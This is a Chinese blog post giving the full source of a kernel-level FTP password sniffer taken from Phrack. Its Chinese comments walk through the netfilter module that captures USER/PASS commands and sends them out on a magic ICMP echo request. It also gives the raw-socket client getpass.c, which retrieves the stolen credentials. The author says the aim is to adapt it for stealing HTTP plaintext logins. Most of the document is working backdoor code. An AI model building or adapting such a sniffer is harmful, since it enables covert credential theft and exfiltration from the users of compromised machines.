【源码分析】基于内核的FTP密码嗅探器

这个例子是Phrack Magazine给出的一个示例,我们要做的基于netfilter和LVM实现http明文登录方式的密码窃取的大致流程和这个类似,分析清楚这个也好在此基础上修改实现我们的功能。

需要提前了解的知识:

下面重点解析nfsniff/nfsniff.c文件(嗅探模块),getpass.c与使用raw socket实现icmp重定向攻击的实现基本相同,如不理解可以参考这篇文章。

<++> ================================nfsniff/nfsniff.c================================
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

/* 设置一个magic number,用作暗号 */
#define MAGIC_CODE   0x5B
/* ICMP有效负载大小为36字节:
  target_ip四个字节 + username预留16字节 + password预留16字节
 */
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))

/* 这些值用于保存用户名和密码直到他们被询问,用户名密码只保存一次,一旦被查询过了就删除 */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;   /* 拿到密码的标志 */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;          /* Incoming */
struct nf_hook_ops  post_hook;         /* Outgoing */


/* 该函数查看已知是FTP包的sk_buff。查找USER和PASS字段,确保它们都来自target_ip字段中指定的主机 */
static void check_ftp(struct sk_buff *skb)
{
  struct tcphdr *tcp;
  char *data;
  int len = 0;
  int i = 0;
  // 得到tcp数据包
  tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
  // 得到TCP数据报的数据部分,tcp->doff是TCP头长度
  data = (char *)((int)tcp + (int)(tcp->doff * 4));

  /* 确保此数据包的目的地和target_ip是同一台主机 */
  if (username)
    if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
      return;
  
  /* 尝试看看这是否是一个用户或密码,ftp数据包中USER之后是用户名,PASS之后是密码 */
  if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      // 把data移动到“USER ”(5byte)之后,开始取数据
      data += 5;
      
      if (username)  return;
      // 记录数据长度(用wireshark抓包可以发现,用户名和密码后面都有\r\n结束符)
      while (*(data + i) != '\r' && *(data + i) != '\n'
        && *(data + i) != '\0' && i < 15) {
            len++;
            i++;
      }
      // 分配内存:大小为len+2
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
          return;
      // 初始化内存
      memset(username, 0x00, len + 2);
      // 拷贝真正的username
      memcpy(username, data, len);
      // len + 2的原因
      *(username + len) = '\0';        /* NULL terminate */
  }
  // 密码的操作同上
  else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* 如果没有用户名,那就不用获取密码 */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
        && *(data + i) != '\0' && i < 15) {
          len++;
          i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
        return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';        /* NULL terminate */
  }
  // 
  else if (strncmp(data, "QUIT", 4) == 0) {
      /* 收到退出命令。如果我们有用户名但没有密码,清除用户名并重置一切 */
      if (have_pair)  return;
      if (username && !password) {
        kfree(username);
        username = NULL;
        target_port = target_ip = 0;
        have_pair = 0;
    
        return;
      }
  }
  else {
       return;
  }

  if (!target_ip)
    target_ip = skb->nh.iph->daddr;
  if (!target_port)
    target_port = tcp->source;
  // 拿到用户名和密码后把have_pair标志置1,
  if (username && password)
    have_pair++;               /* Have a pair. Ignore others until
        * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* 函数作为POST_ROUTING (last)钩子调用。它会检查FTP流量出去的数据,然后搜索该流量的用户和传递命令。 */
static unsigned int watch_out(unsigned int hooknum,   //钩子类型
                  struct sk_buff **skb,  //sk_buff结构的指针,用于描述数据包的结构
                  const struct net_device *in,  //描述各种网络接口数据包到达的接口
                  const struct net_device *out, //描述各种网络接口数据包离开的接口
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;        
   struct tcphdr *tcp;
   
   /* 因为我们需要的数据包是TCP数据包,所以把非TCP数据包放行 */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;            
   
   // 得到tcp数据包:把ip数据包的头部除去了
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* 如果这个端口不是ftp的数据传输端口,则放行 */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;             
   
   /* 如果是ftp数据包,而且还没有拿到密码,则进程数据包解析 */
   if (!have_pair)
    check_ftp(sb);
   
   /* 解析完放行 */
   return NF_ACCEPT;
}


/* 把发来的代码Magic number的数据报,填上我们偷到的用户名和密码再返还回去 */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;              /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* 偷到密码==>放行 */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* 放行ICMP数据包*/
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   // 得到icmp包:ip数据包去掉IP头部
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* 验证是不是带有MAGIC_CODE的请求数据包 */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* 匹配我们的“魔法”检查,现在我们篡改插入IP地址和用户名/密码对的sk_buff,交换IP源地址和目标地址以及以太网地址
     如果有必要,然后从这里发送数据包并告诉Netfilter是我们偷的。 */

   //交换源ip和目的ip 
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;
   
   //表面数据包是向外发的
   sb->pkt_type = PACKET_OUTGOING;
   
   //确定这个数据包来自的什么类型的接口
   switch (sb->dev->type) {
      case ARPHRD_PPP:             /* No fiddling needs doing */
        break;
      case ARPHRD_LOOPBACK:
      case ARPHRD_ETHER:
      {
        unsigned char t_hwaddr[ETH_ALEN];
        
        /* 移动数据指针指向链接层头,改变链路头的h_dest和 h_source*/
        sb->data = (unsigned char *)sb->mac.ethernet;
        sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
        memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
        memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
          ETH_ALEN);
        memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
      
        break;
      }
   };
 
   /* 复制IP地址,然后用户名,然后密码到数据包中 */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);    // target_ip四个字节
   if (username)
     memcpy(cp_data + 4, username, 16); // username预留16字节
   if (password)
     memcpy(cp_data + 20, password, 16); // password预留16字节
   
  /* 发送数据帧 */
   dev_queue_xmit(sb);

   /* 释放保存的用户名和密码并重置have_pair  */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

// 注册模块
int init_module()
{
   pre_hook.hook     = watch_in;  // 回调函数为watch_in
   pre_hook.pf       = PF_INET;   // 协议类型:PF_INET,面向IP层的原始套接字
   pre_hook.priority = NF_IP_PRI_FIRST;     //优先级
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;   //关键点:对netfilter的PRE_ROUTING位置操作,钩子调用的函数
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING; //关键点:对netfilter的POST_ROUTING位置操作,钩子调用的函数
   
   // 注册函数
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

// 注销模块
void cleanup_module()
{
  // 注销函数
  nf_unregister_hook(&post_hook);
  nf_unregister_hook(&pre_hook);
  
  //注销模块时释放内存
  if (password)
    kfree(password);
  if (username)
    kfree(username);
}
<++> ========================nfsniff/getpass.c ========================
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD             /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* checksum函数声明 */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{   
    unsigned char dgram[256];        /*buffer */   
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
      fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
      exit(1);
    }

    /* 得到raw socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
      fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));
      exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
      close(icmp_sock);
      fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));
      exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;         // 主要点:0x5B为Magic number
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));
        return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");

    //发过去再接受
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
      fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));
      close(icmp_sock);
      exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* 校验函数 */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,776评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,527评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,361评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,430评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,511评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,544评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,561评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,315评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,763评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,070评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,235评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,911评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,554评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,173评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,424评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,106评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,103评论 2 352